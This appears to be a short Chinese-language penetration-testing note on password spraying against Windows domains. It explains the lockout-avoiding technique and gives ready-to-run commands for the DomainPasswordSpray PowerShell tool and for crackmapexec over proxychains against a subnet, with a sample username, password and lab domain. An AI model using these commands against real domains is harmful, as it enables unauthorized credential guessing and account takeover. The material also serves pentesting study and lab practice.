密码喷洒 (Password Spraying)
在常规的爆破中,我们都是先用很多密码去碰撞一个账号,这样很容易导致账号被锁定。而密码喷洒就是先用一个密码去碰撞很多账号,此方法能有效的避免账号被锁定的问题
DomainPasswordSpray 是用 PowerShell 编写的工具,用于对域用户执行密码喷洒攻击。默认情况下,它将利用 LDAP 从域中导出用户列表,然后扣掉被锁定的用户,再用固定密码进行密码喷洒
1 2
   | Import-Module .\DomainPasswordSpray.ps1    Invoke-DomainPasswordSpray -Password <密码>
 
  | 
 
参数:
1 2 3 4 5 6 7 8
   | Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
  UserList          - 可选的 UserList 参数。如果未指定,则会自动生成。 Password          - 将使用一个密码来执行密码喷洒。 PasswordList      - 每行一个密码列表,用于密码喷洒(要非常小心,不要锁定帐户)。 OutFile           - 输出结果的文件。 Domain            - 一个可以喷洒的域。 Force             - 强制继续喷涂而不提示确认。
 
  | 
 
或者可以利用kali中的CrackMapExec(CME)来进行喷洒密码
1
   | proxychains4 crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#' -d xiaorang.lab 2>/dev/null
 
  | 
 
